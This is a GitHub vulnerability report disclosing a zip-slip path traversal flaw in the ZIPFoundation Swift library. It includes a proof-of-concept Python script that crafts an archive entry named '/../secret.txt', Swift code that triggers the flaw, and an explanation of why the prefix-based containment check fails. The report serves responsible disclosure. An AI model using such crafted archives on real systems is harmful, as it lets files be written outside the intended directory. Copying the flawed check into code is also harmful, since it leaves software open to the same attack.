Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Path traversal vulnerability #281

Closed
BlueSquare1 opened this issue Jul 24, 2023 · 0 comments · Fixed by #304
Closed

Path traversal vulnerability #281

BlueSquare1 opened this issue Jul 24, 2023 · 0 comments · Fixed by #304

Comments

@BlueSquare1
Copy link

Summary

Path parsing confusion between URL from Foundation package and fopen function, leading to path traversal.

Steps to Reproduce

1- Generate payload.zip using the following code:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '/../secret.txt'

compress_file(filename)

2- Extract payload.zip using unzipItem

import Foundation
import ZIPFoundation

let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")

do {
    try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
    try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
    print("Extraction of ZIP archive failed with error:\(error)")
}

Expected Results

secret.txt is extracted to the target extraction directory

Actual Results

secret.txt is extracted to the parent of target extraction directory

Technical details

the package uses the following function to check that the zip entry path is located within the extraction directory:

func isContained(in parentDirectoryURL: URL) -> Bool {
        // Ensure this URL is contained in the passed in URL
        let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
        return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
    }

However, when provided with the following path /base_path/extraction_directory//../ the path gets normalized to /base_path/extraction_directory/entry_file_name which passes the check above.

when that same path is passed to fopen, it gets normalized to /base_path/entry_file_name.

let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
    throw CocoaError(.fileNoSuchFile)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant